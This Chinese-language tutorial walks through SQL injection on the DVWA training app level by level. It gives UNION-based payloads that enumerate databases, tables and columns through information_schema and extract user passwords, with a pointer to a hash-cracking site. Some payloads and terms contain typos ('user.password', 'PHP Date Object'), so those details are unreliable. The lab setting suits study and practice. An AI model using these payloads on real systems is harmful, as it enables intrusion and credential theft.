DVWA之SQL Injection
判断是否存在注入的方法:在输入框输入 1’
Select * from xxxx where id =1’
Select * from xxxx where id =’1’’
无论是整型还是字符型此时都会报错,说明存在注入点
一.等级:LOW
(一)分类
1.整型
测试如下:
此时界面结果显示一致,说明并非整型
select * from xxx where id=1 and 1=2
若为整型,说明sql语句不成立,会报错
2.字符型
在输入框输入“1’ and ‘1’=’1”
当输入“1’ and ‘1’=’2”时出现如下情况
我们对比发现
Select * from xx where id ‘1’ and ‘1’=’1’
Select * from xx where id ‘1’ and ‘1’=’2’
说明and起作用了,即为字符型。
字符型一般够造闭合的方法有两种:
一是直接加#,如 1’and 1=1 #
二是 加上 – space(空格)
(二)注入
1.判断列的长度
判断长度通过二分法判断
Order by xxx
这里是字符型,用1’order by xxx#,用100进行测试
50测试
…
我们发现,当我们测试到2时,出现如下界面,表示成功,说明有2个字段
2.页面回显点
根据我们刚刚判断的结果,有2个字段,进行联合查询
Union select 1,2#
找到回显位置以后,我们通过替换来查找我们需要的数据库版本以及数据库名
-1’ union select version(),database()#
这里我们得到数据库版本以及数据库名。
注:information_schema.schemata 数据库相关信息
Schema_name 库名
Information_schema.tables 数据库的相关信息
Table_schema 数据库所在库名
Information_schema.columns 列相关信息
Column_name 字段名
(1)爆库名
1’ and 1=2 union select 1,database()#
(2)爆表名
1’ and 1=2 union select 1,table_name from information_schema.tables where table_schema=’dvwa’#
(3)爆字段名
1’ and 1=2 union select 1,column_name from information_schema.columns where table schema=’dvwa’ and table name=’admin’#
(4)拿字段值
1’ and 1=2 union select user.password from users#
获取到的密码去www.cmd5.com解密
二.等级:medium
将DVWA等级设置为中级,由于中级通过下拉表的方式提交数据,所以我们借助Burpsuite来完成操作,将抓到的包发送到Repeater
同前面的方法一样,判断sql注入的类型,找到回显点等信息
三.等级:high
判断是否存在sql注入
通过观察源代码,我们发现多了一个LIMIT 1,只需将它注释掉即可,使用#,其使用方法和上述方法一样。
四.等级:impossible
顾名思义,破解是不能够轻易实现的,我们通过观察也可以发现,这里使用了PDO技术。
PDO--------PHP Date Object